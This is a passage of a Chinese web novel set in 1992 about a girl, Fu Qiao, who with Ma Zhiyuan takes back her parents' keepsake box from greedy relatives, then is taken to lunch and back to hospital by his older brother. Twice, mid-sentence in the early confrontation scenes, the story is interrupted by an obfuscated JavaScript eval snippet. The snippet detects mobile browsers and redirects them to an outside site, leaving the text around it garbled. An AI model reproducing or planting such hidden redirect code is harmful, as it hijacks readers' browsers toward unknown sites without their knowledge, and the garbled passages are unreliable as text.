傅建业摇着蒲扇,似乎在犹豫什么,缓了几次,还是开口道:“金凤,你说阿俏不会真出什么事情吧?一天了,一点消息也没有。” 王金凤手里正剥着毛豆,头也不抬地道:“放心,领导家能出人命?他家大儿子还是警察呢。咱们别凑上去,不然回头管咱们要医药费,我哪来的钱?” 傅建业想了想,觉得这话有理,脸上终于露出了笑意,点点头,“对啊,我这光着急她了。哎呀,只要人没事,这钱就不会断。” 门外忽然传来一阵动静。 “阿俏!诶,你怎么前两天没去考试啊?玥玥回来和我讲没看到你啊!你个丫头,这可是高考,你也乱跑呀!” 林婶的大嗓门响亮极了,一惊一乍道:“旁边这是…志远?!怎么是你?” 王金凤猛地抬头,与傅建业两两相觑。 “还不快出去看看?”她急道。 傅建业才走出去没两步,迎面便撞上了一前一后而来的一女一男。 傅俏的额头上还裹着纱布,马志远跟在她身后,两手空空。 虽然不知道为什么这两人会突然出现在这里,但让人站在屋外还不知道要惹来多少口舌是非,傅建业只得赶忙挥舞着蒲扇招呼他们进门。 进门后的马志远丝毫没有把自己当作是外人,大喇喇翘着腿往沙发上一坐,眼瞧着傅家叔婶忙前忙后地款待他。 傅建业先是端来了茶水,玻璃杯中的茉莉花茶热气蒸腾。王金凤又特意将钻石牌电风扇挪了挪位置,把风口对准了他。 马志远还没学会拐弯抹角,敷衍了几句客套话,开门见山道:“婶子,既然阿悄已经嫁到我们家来了,那阿悄父母留给她的东西,是不是要转交给我们?我知道,岳父曾给她留了个匣子。你们打算什么时候物归原主呢?” 两人的笑容顿时僵在脸上,似乎是都想没到这件事居然就这么被轻飘飘说了出来,还是以一种不容置喙,近乎蛮横的索取姿态。 傅建业手中的蒲扇停止了摇动,张着嘴呆愣着不出声。 王金凤率先反应过来,油光圆润的脸颊硬是又挤出了笑,眼睛也挤成了两条线,“什,什么匣子啊?哪儿有这回事,阿俏的东西该给的我们都一件不少地给她做陪嫁了。侄姑爷,你瞧你这话说的,难道我们做叔叔婶婶的还能侄女的东西吗?” “陪嫁?” 马志远从鼻腔里喷出两声,“几床破被子也好意思叫陪嫁?” 见傅家叔婶不认账,他愈发觉得匣子里肯定有宝贝。想起阿学等人的做派,心中不禁有些跃跃欲试,遂有样学样地摆开一副泼皮架势,一巴掌拍在茶几上,瞪着眼粗声粗气道。 “谁不知道阿悄他爸的抚恤金和他妈寄回来的生活费全给你们俩吞了?不然就你俩那点工资,能有这台彩电和外边儿的自行车?!有些事我不想说得太明白,大家都亲里亲戚的,你们也不能太贪了,知道吗?” 王金凤被他这一下的气势给骇住了,半晌没有吭声。 傅秀用眼角的余光瞄了瞄厅中,心思旋即又回到了电视上。 回过神来,王金凤忽地一拍大腿,哀嚎起来,“侄姑爷,你是不知道啊!我这侄女吧,打小就爱撒谎骗人,这事儿肯定是她和你说的吧?不能信啊!什么留钱留东西,压根没有的事情,她妈早就不寄生活费了,大伯的抚恤金也都花她身上了……她当初成绩不好,又非要读高中…家里的钱全都供她读书去了,就连我们家阿秀,都只读了个免费的中专,现在还在愁着工作呢…” “婶子。” 从进门起便没说过几句话的傅俏开了口。 “我记得阿秀是想进纺织厂吧,原本中专的定向分配也是进厂的。但是今年厂子里效益下滑,收不了那么多,除非叔叔退了才能让阿秀顶班…” 她顿了顿,“凡事想要两全其美,总要有些代价。这光是借花献佛就要办成这么重要的大事,未免也太过容易了。” 听见是侄女开口讲话,傅建业登时来了精神,垮着脸指着傅俏的鼻子斥骂道:“你什么东西,这里轮得到你讲话?怎么,现在攀了高枝了,小白眼狼想反咬老子一口?” “说什么呢?!” 马志远看他来劲,当即踹了脚茶几,桌上的茶水在晃荡中洒出了小半杯,在格子桌布上洇开一片深色水渍。 傅建业被吼得下意识地缩了缩脖子,悻悻看了看他,又狠狠剜了傅俏一眼,嘴唇嚅嗫几下,最终也什么都没说出来,别过脸“呼哧呼哧”地扇起了扇子。 丈夫哑火,王金凤不得不又出来打圆场,火力也是对准傅俏,“阿俏啊,你看你这说得什么话!你叔最疼你了,不然怎么会费这么大心思帮你联系这么门好婚事?咱们都是一家人,阿秀的事情……” “一家人?” 傅俏冷不丁打断了她的话,“既然是一家人,坦诚相待就是最基本的。我现在已经嫁人了,婶子。不管怎么说,你至少也该把匣子拿出来给我瞧瞧。至于阿秀,她是我妹妹,自然也就是志远的妹妹,有什么难处,难道我们会坐视不管吗?” 她说着看了眼马志远,他立马会意,附和道:“啊啊,是是!小姨子嘛,肯定得帮忙的…” 王金凤闻言,深深望了她一眼。 面前的少女苍白虚弱,额上还覆着纱布,目光灼灼,水光若隐若现,纤细瘦削得和屋外的柳条几乎没什么差别。 但是她倏然觉得,自己好像不认识这个从小看着长大的侄女了。 王金凤默默垂头沉默了片刻,似是在思索权衡着利弊,最终万般不甘地抬起头,一咬牙道:“好吧,那就看看。” 马志远见发财有望,登时一改狂躁的做派,喜形于色,贪婪催化出的兴奋直接压弯了眉眼。 “金凤!你怎么……” 傅建业看她起身,开口就要阻止,自家老婆一个斜眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464551|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞刀立马杀到,他只得不情不愿地把话又咽了回去。 王金凤挑开隔断用的碎花帘布,独自进了卧房。一阵窸窸窣窣的响动过后,她捧着一只格外精美的紫檀木匣子走了出来。 马志远的两只眼睛亮得像是老鼠看到了灯油,死死盯着住不放,直到那只匣子放到茶几上。他几乎是一把就揽了过来,急不可耐地打开空悬的黄铜锁扣。 入目赫然是一块金光黯淡的军功奖章,他连看都没看,随手拿出来就扔到了一边,包括派克钢笔也是一样,最后拿起的是那本发黄发脆的笔记本。 随着纸页哗啦啦翻过,马志远的脸色愈发难看。最终本子也被“啪”地一声甩下,他不死心又拿起匣子,整个倒扣过来使劲摇晃。 “东西呢?镯子呢?!”他怒问道。 王金凤不解,一脸茫然地看着他,“什么镯子?东西都在这儿了!原本就是这些破烂嘛…” 傅俏闻言,上前拿过军功章和钢笔仔细查看,紧接着又仔细地将笔记本完整翻动过一遍,那串数字霍然从眼前闪过,她的眸中光彩一亮,紧接着又不动声色地将一应东西放回到匣子中摆放整齐,默默揽到自己身前。 东西到手,久留不宜,要速战速决了。 “破烂?是破烂你还这么当宝贝似地收着扣着不给?!” 马志远心中早已认定傅俏的双亲给她留有遗物,不管是不是在这只匣子中,今天都定然不能空手而归,索性洒起泼来,“我告诉你!要么就把阿悄父母给她留的好东西叫出来,要么就给钱!不然,别说什么秀秀,连你们自个儿的饭碗都小心!” 听到这话的王金凤真是哑巴吃黄连,有苦说不出。 她之所以霸着这只匣子,只因曾无意中得知它是傅修齐特意留给女儿的东西,想着肯定是有什么了不得的地方。谁知到手后翻来覆去地把每个角落都摸遍了也不见半点值钱货,若就这么还回去,又怕是自己漏了什么没发现的“玄机”,这才一直捂在了手里。 “你,你!志远,你怎么能这么说话呢?好歹我们也是你的长辈啊…” “什么长辈?”马志远此时显然已经有些气迷了心窍,表情也逐渐狰狞起来,“你们俩什么东西,也配做我的长辈?!” 眼见着情势愈发失控,傅俏及时打起了圆场,“婶婶,我的确记得我妈妈给我留了只金镯子的。您再好好想想,是不是错放哪儿了?要是实在找不到了……我记得今天是九号,五号是收抚养费的日子,应该有二百块吧?” 什么早就不寄抚养费了,完全就是睁着眼睛说瞎话。 王金凤见她点破,索性收了那副哭天抢地的假模样,显出真实的獠牙来。毕竟比起什么“虚无缥缈”的“宝贝”,每月雷打不动邮回来的抚养费可是货真价实到手的钞票。 她两眼凶光毕露,脸上的肌肉因虬结成一块块,气流从齿缝中透出,“你什么意思?这是要翻脸不认人了?以后再不想回娘家来了是吧?” 傅俏背对着众人,恰好站在王金凤面前,听到这番威胁非但没有丝毫惧色,居然还冲她微微一笑。 “您说的「嫁出去的女儿泼出去的水」嘛,既然我已经到了马家,日后照顾我的也是马家。这钱自然也要交给志远了,对吗?” 话音未落,王金凤张口就要反驳,傅俏突然靠前一步,惊得她一怔。 小姑娘低低的声音传入耳中。 “婶婶,做人总不好什么好处都占尽的,一占尽,路也就走绝了。抚养费给出来,今天这事才好收场。要是再扯出抚恤金来…” 她没有将话说完就退回了原处,意味深长地看了王金凤一眼,坦然伸出右手,大大方方地说道。 “婶婶,给我吧。” 5. 变故 得到消息的马明远匆匆忙忙地回到了病房,恰巧撞见刚做完例行检查后还没来得及走的王主任,一把将他拽住。 看了眼仍在病床上紧闭双眼的母亲,他将人拉到了角落,小声问道。 “王叔,我妈这睡一天了,到底有没有事?什么时候能醒?家里出事了,我得赶快去看看。” “出事了?”王启航吃了一惊,“出什么事了?” 马明远犹豫了片刻,叹了口气道:“我弟弟和…他之前一个同学不见了,我得去找找。” “志远不见了?” 王启航突然拔高了音量,仿佛忘记了病房里还有病人在休息,被马明远提醒了才反应过来,低声问道:“不见多久了?” “一上午了。那边有朋友已经找过一圈,该去的地方都去了,就是没见着人影。这才联系到我的。不说这个了,您就说我妈的情况吧,她从昨天起除了吃饭喝水就是在昏睡,到底什么情况,是原因导致的?” 马明远虽然对父母和弟弟做人做事的诸多理念行为都持反对意见甚至是矛盾重重,但他心中始终都留有对家人的关爱和责任心。一旦出了什么事情,他依旧会责无旁贷地挑起大哥长子的担子,正如眼下。 “这,这个嘛…”王启航刻意地低头扶了扶眼镜,似乎是在斟酌着说法。 马明远见他这幅欲言又止的模样,心头一跳,两只大手倏地握着医生的两腕,目光在他躲闪的面庞上逡巡。 “是很严重的问题吗?”他紧皱着眉头。 是没什么问题。 王启航默默在心里接话腹诽道。 刘彩华一时气短晕厥是真,可还没送到医院估计就已经缓过来了,后面的什么昏迷不醒都是在装样,可他们有什么办法?这是附属医院,厂长夫人说有病要住院,难道他们还要梗着脖子说压根没病,不符合指征? 更何况厂长又亲自打来电话交待,不要着急出院,要仔细检查,务必不能出纰漏留隐患。他们只好严阵以待,大大小小一通检查。纵然检查结果出来看着比他这个主任的身体都强上不少,但刘彩华不说好,谁敢让她出院? “从经验上来看,应该不是什么大问题。但是具体原因是什么导致的这种疲乏昏睡,我们还需做进一步的检查,等检查结果出来以后,才能给你一个明确的答复。” 这话说了和没说基本一样,皮球又踢回到了马明远脚下。 事已至此,他也不好再多留人,便主动送了王启航出去。仅仅一个转身的功夫,他还站在病房门口,刘彩华居然已经坐了起来,满脸焦灼地望着他。 “志远怎么了?他怎么会不见了?” 马明远呆愣在原地,几处因焦急而忽略的信息点忽然在脑海中连成一线,不言而喻的真相霎时浮出水面。 “妈,你骗我?!” 白天的医院中总是人来人往,即便是住院部也是如此,出院的,入院的,探视的,监护的,形形色色,值班护士们一天不知道要见多少。甚至是住院病人忽然不见被家属找上门来的这样的事情,也都算不上是件稀奇事。 马明远焦急道,“请问您这边最后一次看到他们是什么时间?” 虽然他得以从刘彩华的欺诈中解脱出来找人是因为他妈担心马志远的安危,但在马明远看来,显然是傅俏的生命安全更加让人担心。尤其是当和她一起失踪的还有马志远,这个导致小姑娘入院的罪魁祸首时,到底会发生什么事情,他简直不敢想象。 “最后一次是什么时候不知道,反正查房的时候两人还在,到要给患者换药的时候发现不在的。” 今天在人民医院外科住院一区值班的是严护士长,看着面前人高马大的马明远,不慌不忙地问道:“患者家里找过吗?学校找过吗?常去的商业娱乐场所找过没有?” 马明远刚想开口说都找遍了,脑子却倏地灵光一现,喃喃自语道:“家里,对,家里!小傅的家,小傅的家还没找!” 他的音量渐高,到兴奋处便顾不上许多,最后冲出去几步才想起来给护士长道谢。 “谢谢您!” 傅家的地址不是秘密,纺织厂分的房子有固定的家属片区,只要到了大概的位置,稍一打听,立马就能问出来。 马明远摸到了东街巷,刚踏入巷口,就见到长条石椅上坐了两位年岁稍长的妇女在剥菱角,嘴里还在热火朝天地聊着什么。 她们的声量不低,说到兴起,压根没注意到来了陌生人,是以哪怕他没有刻意偷听,谈话的内容也止不住地往耳朵里钻。 林婶道:“慧嫂,你晓得吧,傅家的那个小阿悄回来啦!哦呦,这两天连高考都不去,不知道去搞什么东西了!头都被人打破了,脑袋上缠得都是纱布。” “啊?”慧嫂满脸的吃惊,赶忙追问:“那她人没事吧?我们等哈儿要不要去看看啊?” 林婶却是两眼一闭,瘪着嘴摆了摆手,忽然压低了声音:“看什么!你晓得她这次回来是跟哪个一块儿吗?” “哪个哦?”慧嫂不明所以。 “马志远呐!” 林婶故意拖长了语调,“就是书记的小儿子嘛!那男滴就跟在她后面,两个人看起来关系就不一般。我说呢,玥玥之前就和我说过那个马志远经常去学校找阿俏,看来是早就好上咯。” “真滴呀?我滴乖乖,难怪不考试了。真的看不出来,这小阿悄平时看着斯斯文文,读书也用功,成绩又好,居然会干这种事情哦。那你说,她的脑袋是怎么回事呢?” “要我说,肯定是……” 说到关键点上,林嫂愈发眉飞色舞,手上的菱角也不剥了,俩眼珠子都在放光。 “咳咳!” 实在听不下去的马明远使劲清了清嗓子。 果然,林嫂的言语戛然而止,巷口处突然安静,满耳朵只剩下夏风吹动香樟树叶时,沙沙作响的声音。 他尽力克制着脸色不至于太过难看,上前礼貌询问傅家住处。 “请问,傅建业先生的家是在这里吗?” 马明远很早就离家上学,后来工作也分配在外地,是以厂里的职工并没有许多对他熟悉的,只是知道有这么一个人,却对不上号。 刚才还在高谈阔论的两人顿时变得有些瑟缩,尤其是林嫂,她不知道眼前这个男人已经在这里站了多久,听到了多少,又和傅家是什么关系。 在苏城这样闭塞传统的小城里,女性似乎对壮年男性都或多或少地存在着一些莫名地畏惧。 而当着面大喇喇地嚼别人家的舌根,属实算不上什么好事情。 到了还是慧嫂开口指的路,“金凤家在331号,你往巷子里直走,到头最后一间就是。” 但眼下同样心情不佳的,远不止马明远一人。 清脆的碎裂声响起,玻璃残片飞溅,滚烫的茶水泼了满地,流淌得四通八达,清幽的茉莉花茶香气霎时盈满了这间不大不小的客厅,为厅内剑拔弩张的气氛增添了几分微妙。 聪明反被聪明误,老话说得还是太好了。 傅俏看着面前暴怒而起的王金凤和赤红着眼的马志远,心里的懊悔几乎可以填海。 她太相信“傅俏”了。 记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464552|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆不会骗人,可思维是主观的,片面的。 她不知道原来烈士子女的补贴会到成年后就取消,也不能深刻体会一九九二年紧张萧条的经济形势。 这一年,国营工厂倒闭,停工停产,员工下岗的情况比比皆是。别说傅秀找不到工作,纵使是傅建业和王金凤两个人在纺织厂工作了一辈子,也不敢说自己的铁饭碗还像以前一样稳如泰山。 所以他们才会如此急迫,以至于不择手段地要攀上马书记这层关系。 至于“傅俏”,她还有两个月就要满十八岁,抚恤金眼见就要没了。 在这个风雨飘摇的档口,对傅家来说,唯一稳定的经济收入就是顾兰泽每月雷打不动寄来的抚养费。 现在傅俏和马志远要把这最后一块肥肉也抢走,无异于虎口夺食,怎么能不闹起来? 被逼到绝处的王金凤索性撒开了泼,一手叉腰,一手指着傅俏道:“老娘今天把话放在这里,盒子,你俩拿走。钱,一分也没有!” 马志远怒道:“你凭什么不给?以前贪了那么多还不知足,现在人都不在你家了还要霸着?” “就凭这小丫头片子是老娘养大的,她就该孝敬老娘!这钱就是我的!” “好,好啊!你就攥着这笔钱去死吧!你家女儿这辈子也别想进厂工作,还有你老公,你!我告诉你,全厂就属你们二车间业绩最差!你们就等着吧!我回去和我妈去说!” 这一句话算是正正好点在了傅建业和王金凤的死穴上,他们现在不怕和马志远闹翻,原就是赌他今天来要钱这回事是被傅俏撺掇的,本意是想藏私,所以根本不会和马家人通气。 可现在马志远却直接把刘彩华给搬了出来,显然也是气昏了头,钱要不要得到手都成了次一等的事情,给傅家叔婶一个下马威好叫他们知道知道自己的厉害才是要紧的。 天气炎热,头上的伤口也被汗水蛰得生疼,傅俏也不免心急起来。她的目的已然达成,虽说能抠一笔钱出来保底自然是好事,但再折腾下去恐怕难以收场,还是及时脱身为上策。 王金凤半晌没有接话,气得脸上横肉抽动,两只眼球几乎要爆出眼眶,眼白上密布的红血色都能瞧得清清楚楚。 傅建业则是黑着脸,目露凶光,死死盯着傅俏不放。 至于傅秀,仍一心一意系挂在许仙出家剃度的画面上,大有两耳不闻“机外事”的境界。 只是也不知道是真,是假。 “好了好了,志远。” 傅俏赶忙抚上了马志远的背脊,想要劝他消气。微凉的掌心骤然贴上那一层薄薄衣料,刺得这具血气翻涌的发烫身躯倏地打了个激灵。 她柔声道:“都是一家人,干嘛说这样的气话?” 马志远虽被那一只清凉的手掌安抚下不少燥火,却也不甘心就此罢休,干脆梗着脖子就这么恶狠狠地看着王金凤,一句话也不说。 见他不言不退,傅俏轻轻拉了拉他的衣袖,“志远,屋里太热了。你脸都热红了,要不出去吹吹风吧?万一待会中暑就糟了。” “可是他们…” 马志远的话只说了一半,她又晃了晃他的手臂。 “我来说说吧。” 五颜六色的珠帘被哗啦从里间掀开,一道人影横冲直往地闪了出来,恰巧与来人撞个照面,若非那人身手敏捷退得及时,两人难免都落得个人仰马翻的下场。 “谁啊?谁他/妈/的走路没长眼睛……” 马志远叫骂声在看清这位面前神色不虞的男子相貌后瞬间熄火,呆愣愣唤了一声。 “哥?!” 6. 陈情 来时日头高照,去时日头高照。 晌午时分的东街巷子,盛夏的炎炎暑气逼满街上几乎看不见行人。三人从巷口出来时,并没有碰见林婶与慧嫂,长条石椅也早就被晒得滚烫。 马明远一言不发地走在最前,明明是三人中最不熟悉地形的,却走得一马当先。傅俏与马志远并排坠在他身后两步左右的距离,不约而同地保持着沉默。 正值饭点,傅家原本是要留饭的,但马志远刚在人家家里大闹过一场,他实在没脸应承。只好随便找了个借口,领着人匆匆离开。 至于傅俏,自然是要回医院去。 三人推着自行车,在烈日下走了约莫十五分钟。 灼热的阳光亮晃晃地发白,热得傅俏汗如雨下。额前裹伤的纱布被汗水浸湿,伤口遇上盐分,咬得一阵阵刺痛绵延。她只能低着头盲目地跟随,勉力支撑着不掉队,期望靠这样低能耗的方式来捱过这段未知终点的徒步。 马明远忽然停了下来。 傅俏顺着他的目光看去,竟是一家簇新的小饭馆,内里摆放几张木质圆桌,大块白色瓷砖铺地,墙上挂着呜呜直转的电风扇正在摇头晃脑地吹着风,亮堂堂的环境一瞧便叫人舒心。 最稀罕的是店里居然还有个小冰柜,就摆放在收银台边,从这个角度看去,里面应当码放的是一排排齐整的汽水。 冰可乐? 傅俏不自知地咽了口唾沫,要是能来一瓶… 那简直不是什么“快乐水”,是“人间至乐”了。 马明远看着她,“饿了吗?” 傅俏热得有些发懵,突然被这么一问,并没有立马作答。 这是她的习惯,在脑子没有彻底转过弯的时候,乱说不如不说。 马明远笑了笑,没有在意,“我有些饿了。要不就在这里吃点儿吧?” “好啊好啊!” 马志远一听要下馆子,顿时什么心虚害怕都抛到了脑后,还以为大哥原谅了自己,赶忙上前表态,“哥,你早说你请客吃饭啊,我这都饿得前胸贴后背了…”边说就边往店里走去。 “回来!” 马明远照他背心一拿,直接将人生拽了回来,板着脸道:“我说要请你吃饭了吗?跑到别人家里去闹得鸡飞狗跳,你还好意思吃饭?!给我在外面站着!” “哥?!这明明就是阿悄的主意!都是她…”马志远急忙为自己辩解。 “你住嘴!” 马明远断喝一声,“马志远,你要是老实在外面站着,站过这顿饭,今天的事情我就守口如瓶。但你要是再叽叽歪歪,乱攀扯,这事不仅要告诉爸妈,你还得吃我一顿揍。知道了吗?” 说得利落干脆,没半点转圜的余地。马志远打小被揍惯了,当然是清楚他哥这说一不二的性子,即便有千万个不情愿,也不得不扭捏着照做。 傅俏在旁边看着,将原本想出口的求情假话通通咽了下去,默默地跟着马明远进了饭馆。 “老板,来两瓶汽水。” 两人刚一落座,马明远就要了汽水,顺道把老板娘拿来的菜单转交给了她,“你看看,想吃什么?自己点,别客气。” 傅俏接过菜单扫了两眼,默默推了回去,脸颊红红的,像是羞怯,小声道:“这个…还是您点吧,吃什么都好。我没怎么在外面吃过,不太会点。” 马明远有些意外地看了她一眼。 “来,汽水好了。”老板娘道。 熟悉的可口可乐玻璃瓶中咕嘟嘟地冒着气泡,凉丝丝的冷凝水在瓶外挂上了层白霜,渴了一路的傅俏顺手就拿起了瓶子,仰头喝了一大口。 在后世,这种玻璃瓶装的可乐并不多见,她只自己好奇买过几提,和喝啤酒一个喝法,开盖即饮。 刚放下瓶子,傅俏就与拿来吸管的老板娘对视上了。 面面相觑,两人一时都感到了尴尬。 “小妹,用这个喝。” 老板娘说笑着将吸管插进了汽水瓶,打趣道:“都怪我,动作太慢了。应该先插好再送过来的。” 傅俏没想到会在这个地方闹了笑话,小鸡啄米似地点头,模样瞧着有些傻呆呆的。 马明远看得莫名生出些心酸,飞速翻看了两下手中的菜单,一连串的菜名被报了出来:“糖醋排骨、清炒虾仁、毛豆雪菜、还有冬瓜汤,再来两碗米饭。” “太多了,咱们吃不了的。” 傅俏话刚出口,就见他朝自己压了压手掌,直接将菜单递还给了老板娘,“就这些,麻烦您快点上菜吧。” 马明远又给她倒了杯茶水,闲聊道:“这家店离巷子不远,我以为你早来尝过了。看着你叔叔家条件不错,那台彩电应该是去年新出的吧,要搞到票还挺不容易的。” 这话问得巧妙,看似随意,实则内藏机锋,目的是想试探傅俏在傅家的处境。 正用吸管小口啜饮着可乐的傅俏立马崩紧了脑袋里的弦,顿了顿,慢慢道:“我不是很聪明,学习上得花很多功夫,平时不太有空出来。一般都是叔叔婶婶打包给我带回去,没怎么在店里吃过。” 马明远若有所思地点了点头,说不清是信了还是没信。 他一沉默,两人间的气氛就彻底冷了下去。 傅俏把视线移向了店外,又瞧见了正无聊得四处乱晃的马志远。 平心而论,这两人到底是亲生兄弟,长相有五分相似,长脸直鼻,两片薄唇。唯一不像也是最不同的地方,就是眼睛。 哥哥生了双凤眼,漆黑明亮,眸光凛然,眼尾有几丝纹路,衬得人儒雅却不失威严。反观弟弟,是双与马铁顺如出一辙的三角眼,还是个正三角,气质立时一落千丈,非但儒雅没有了,威严更不沾边,只剩下了贼头贼脑的鼠气。 马明远注意到了她的目光,发觉她正在看马志远,沉吟一瞬,不知想了什么,开口道:“吃完饭,我送你回医院。让志远上妈那儿看看去。” 傅俏的的思路被这突如其来的安排给打断,先是一怔,随即点着头道:“哦,好啊。” 答完后她像是纠结了片刻,问道:“那个…我听志远说,阿姨生病了,要紧吗?要是忙不开的话,我自己一个人就好了。” “你不生气?”马明远不知出于什么心理。 “生气?” 傅俏微蹙起了眉头,似乎在疑惑什么,旋即松开,指了指自己额角的伤口,自嘲式地道:“您是说这个吗?” 她这个反应实在太出乎预料。 马明远一噎,薄唇紧抿,郑重道:“对不起。我想向你道歉,也代志远,代我的父母,我们全家向你道歉。” 道歉?道歉有用的话,还要警察干嘛? 天知道傅俏有想把这句经典台词送给他,但眼下显然不是合适的时机。 “……” 她张了张嘴,似是想说什么,却半晌也没有发出一个音节,最终长长地叹了一口气。 马明远被声叹息叹得心脏都悬了起来。
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“复读的时候,我要住在哪里?还是叔叔婶婶家吗?即便是经历过这样的事情,我还是要回到那个家里去?退一万步说,就算我愿意回去,叔叔婶婶也未必就会愿意继续抚养我,供我再读一年。” “我可以帮忙向你的叔婶去沟通。复读期间的一应费用,我来承担。” 她绝望地摇了摇头。 “如果沟通有用的话,我现在就不会坐在这里了。您能保证阿秀可以顺利能进厂吗?还是可以确保他们的工作不受半点影响?如果不能,那他们会把一切的糟糕的事情都归咎在我的身上。您能理解我的处境吗?” 马明远被少女痛苦的诘问问得哑口无言,这个始终挺立着背脊的男人在此刻也默然半弯下身躯。 粉饰的太平总会被戳穿,人总要面对现实。 现实就是眼前这个原本前途无限的小姑娘,在最美好的年华,被自己家人彻底摧毁掉了未来。 她无学可上,无工可做,甚至无家可归。 “我。”他干涩开口,自己声音却像是从别人口中说出。 “我一定会想办法处理好的,请你相信我。” 傅俏没有再说什么,只冲他勉强地扯出了个失败的微笑。 马明远从这个笑中看出了她的无奈与不信任。 但他什么也不能反驳。 气氛一度又陷入了冷场。 “菜来了!” 老板娘轻快的上菜声来得颇是时候,在局面彻底冰冻前到来,打破了两人间的沉闷气流。 伴随着一道道热菜上桌,酸甜鲜香的味道伴着热气往人的鼻子钻,勾得傅俏在这两天第一次感知到自己还有个胃的存在。 好饿。 可她方才还在那么硬气地一句句追问着马明远,现在要是转脸又开始大吃大喝别人的饭,属实不太地道。 小姑娘别扭的模样被马明远瞧在了眼里,也听到了她肚子咕噜噜的声响。 明明已经饿得不行了,却就是不动筷子,这么倔强的性子,难怪会撞得头破血流。 越是这样,他心中的愧疚愈浓,赶忙夹起了糖醋排骨里最好的一块仔排,放到了她的碗里。 “咱们先吃饭吧,有什么事情,等吃完饭再说。好吗?” 7. 人情 一顿饭吃完,傅俏对马明远没生出什么新看法,对马志远的认知倒是上升到了新高度。 这小子是真怕他哥,体质也是真好。 大热的天,他老实在饭馆外面溜达了快一个钟头,居然半点中暑的迹象都没有。 太可惜了。 “给。” 马明远递了他一瓶汽水,板着脸问道:“等会儿去到妈那里,什么该说,什么不该说都知道吗?” 马志远受宠若惊地接过汽水,手快得像是慢一秒他就会改了心意。 “放心吧,哥。那个…阿俏她…” “我会把她送回医院的,不用你操心。” 可惜马明远会错了意思,马志远的心思显然并不止于此。 今天跑这一趟,本意是想从傅家抠点钱出来还债,没想到只要到了些破铜烂铁。他根本就懒得拿,索性直接转手给了傅俏。 现在想想,有总比没有的好,那什么奖章钢笔之类的东西,说不定也能换几个钱。 “我…” 马志远探头探脑地向站在店门口的傅俏张望,“我想和阿俏再说几句话,等说完了再去妈那儿。” 他说着朝前走了一步,没想到马明远居然也跟了一步,扎扎实实地挡在了他的面前。 “想干什么?”马明远肃声道。 马志远皱了脸,赖赖唧唧道:“就说几句话。哥,你这怎么还防我呢?” “防得就是你。” 瞧着自家弟弟这副模样,马明远恨铁不成钢地叹了口气,无奈地掏出钱包,抽出一张一百元,看得马志远只差把眼珠子都瞪出来了。 “哥…你,你这是?”他咽了咽口水,话都说不利索了。 马明远一把将钱拍在他的胸口上,训斥道:“小傅把事情和我说了,至于你为什么欠钱,她没说。不过我不用猜也知道,你肯定又去和那些社会上不三不四的阿猫阿狗瞎混了。” “谢谢哥!你简直是救星啊!诶诶…哥?” 眼见到手的钱又抽了回去,马志远登时就急了,“你干嘛呀?!” 马明远把钱捏在手里,“这几天老老实实在妈身边待着。还有,以后不准再去打扰人小傅,有多远离多远。” “啊?” 听大哥的语气,是要他彻底和阿俏断了来往,马志远自然不情愿,“哥…你,你这也太强人所难了吧。” 马明远的态度坚决,“钱就在这儿,答应就拿钱。不答应,那就别想到手,索性让混混们打得你鼻青脸肿,断胳膊断腿的算了。” 马志远当然清楚他说一不二的做派,可是… 他望了眼不远处亭亭玉立的傅俏,一时陷入了犹豫,又偷瞄了眼跟前凶神恶煞的大哥,再想了想阿学往日里是如何对待那些欠钱不还的债主… 骄阳似火之下,他居然打了个寒颤。 “行吧。不打扰就不打扰。” 马志远说着就要伸手去拿钱,孰料马明远抬手又晃了他一着。 “哥?!” “你小子,歪心思都写脸上了。想着等过两天我回陵州了,故态复萌是不是?想得美!我已经把联系方式给了小傅,她可以随时联系我。要是让我一旦发现你还死性不改地骚扰人家,你就等着吧!” 随着最后一丝想法也被堵死,马志远彻底没了脾气,懒懒地摊开手要钱,连话也不多说了。 傅俏回到医院的第一件事,就是换药。 不出预料,才缝合上药的新鲜伤口没两天就被弄得一塌糊涂,非但没有愈合的迹象,反而开始泛红发肿。 兼之擅自离院乱跑的“事迹”,刘护士气得给她一顿思想教训,连站在旁边陪同的马明远也惨遭殃及,被冠上了个“监督不力,管教不严”的罪名。 病房里。 傅俏看着正低头削苹果的马明远,踟蹰片刻,最终还是鼓起勇气开口道:“那个…同志,刚才不好意思,连累你了。” 马明远闻言抬起头,苹果也恰巧削好,递到了她的手里。 “你不介意的话,就叫我哥吧。刘护士说得没错,你是病人,没休养好就是没被照顾好,是我应该对你说不好意思才是。” 傅俏露齿一笑,“明远哥。” 马明远怔了一瞬,旋即也笑了起来,似是感叹:“要你真是我妹妹就好了,只可惜我没有那么大的福气。” 这话说得没什么问题,毕竟谁摊上马志远那么个弟弟都会觉得倒霉的。 傅俏在心里默默道。 她的思绪一转,忽然问道:“明远哥,我想打个长途电话。你知道哪里有公用电话吗?” 马明远有些讶异,但并没有多问,回答道:“人民医院我来的少,具体情况不清楚。待会这瓶水挂完你睡会儿,我下去转转,看附近有没有公共电话亭或者公用电话之类的。” 傅俏自是好一阵感谢。 大清早起床,她拖着尚在恢复的身体东奔西顾了整个上午,现在安静下来,药水滴答着流入静脉,微凉的体感慢慢由左手遍及全身,浓厚的困倦疲惫立马席卷了大脑的意识。 这一觉睡得不短,竟到了日落时分才苏醒。 